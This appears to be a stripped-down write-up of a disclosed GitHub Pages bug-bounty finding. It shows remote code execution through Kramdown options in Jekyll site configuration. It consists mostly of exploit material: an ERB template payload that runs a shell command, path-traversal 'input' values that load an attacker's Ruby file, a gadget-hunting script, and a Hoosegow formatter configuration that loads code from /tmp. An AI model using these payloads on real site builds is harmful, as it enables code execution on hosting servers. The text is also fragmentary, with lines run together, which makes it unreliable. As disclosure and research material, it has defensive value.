赏金$25000的GitHub漏洞：通过 GitHub Pages 不安全的Kramdown配置实现多个RCE

markdown: kramdownkramdown:  template: string://<%= %x|date| %>

<div class="home">Tue 20 Oct 2020 21:12:08 AEDT<h2 class="post-list-heading">Posts</h2>

def self.simple_hash_validator(val, name)  if String === val    begin      val = YAML.load(val)

Create a new Kramdown document from the string +source+ and use the provided +options+. The# options that can be used are defined in the Options module.## The special options key :input can be used to select the parser that should parse the# +source+. It has to be the name of a class in the Kramdown::Parser module. For example, to# select the kramdown parser, one would set the :input key to +Kramdown+. If this key is not# set, it defaults to +Kramdown+.## The +source+ is immediately parsed by the selected parser so that the root element is# immediately available and the output can be generated.def initialize(source, options = {})  @options = Options.merge(options).freeze  parser = (@options[:input] || 'kramdown').to_s  parser = parser[0..0].upcase + parser[1..-1]  try_require('parser', parser)  if Parser.const_defined?(parser)    @root, @warnings = Parser.const_get(parser).parse(source, @options)  else    raise Kramdown::Error.new("kramdown has no parser to handle the specified input format: #{@options[:input]}")  end  end

# Try requiring a parser or converter class and don't raise an error if the file is not found.def try_require(type, name)  require("kramdown/#{type}/#{Utils.snake_case(name)}")  truerescue LoadError  trueend

markdown: kramdownkramdown:  input: ../../../../../../../../../../../../../../../tmp/evil.rb

$ cat /tmp/ggghi

/data/user/tmp/pages/page-build-23481/data/user/tmp/pages/pagebuilds/vakzz/jekyll1

markdown: kramdownkramdown:  input: ../../../../../../../../../../../../../../../data/user/tmp/pages/pagebuilds/vakzz/jeykll1/code.rb

$ ls -asl /tmp/ | grep ggg4 -rw-r--r--  1 pages             pages                3 Aug 19 13:58 ggg4

def self.formatter_class(opts = {})  case formatter = opts[:formatter]  when Class    formatter  when /A[[:upper:]][[:alnum:]_]*z/    ::Rouge::Formatters.const_get(formatter

formatter = formatter_class(opts).new(opts)formatter.format(lexer.lex(text))

kramdown:  syntax_highlighter: rouge  syntax_highlighter_opts:    formatter: CSV

jekyll 3.8.5 | Error:  private method 'format' called for #<CSV:0x00007fe0d195bd48>

require "bundler"Bundler.require
methods = []ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /A[[:upper:]][[:alnum:]_]*z/ }
methods.each do |m|  begin    puts "trying #{m[:ob]}"    m[:ob].new({a:1, b:2})    puts "workednn"  rescue ArgumentError      puts "nopenn"  rescue NoMethodError      puts "nopenn"  rescue => e      p e      puts "maybenn"  endend

trying Hoosegow#<Hoosegow::InmateImportError: inmate file doesn't exist>maybe

def initialize(options = {})    options         = options.dup    @no_proxy       = options.delete(:no_proxy)    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'    @image_name     = options.delete(:image_name)    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION    @docker_options = options    load_inmate_methods

def load_inmate_methods    inmate_file = File.join @inmate_dir, 'inmate.rb'
    unless File.exist?(inmate_file)      raise Hoosegow::InmateImportError, "inmate file doesn't exist"    end
    require inmate_file

kramdown:  syntax_highlighter: rouge  syntax_highlighter_opts:    formatter: Hoosegow    inmate_dir: /tmp/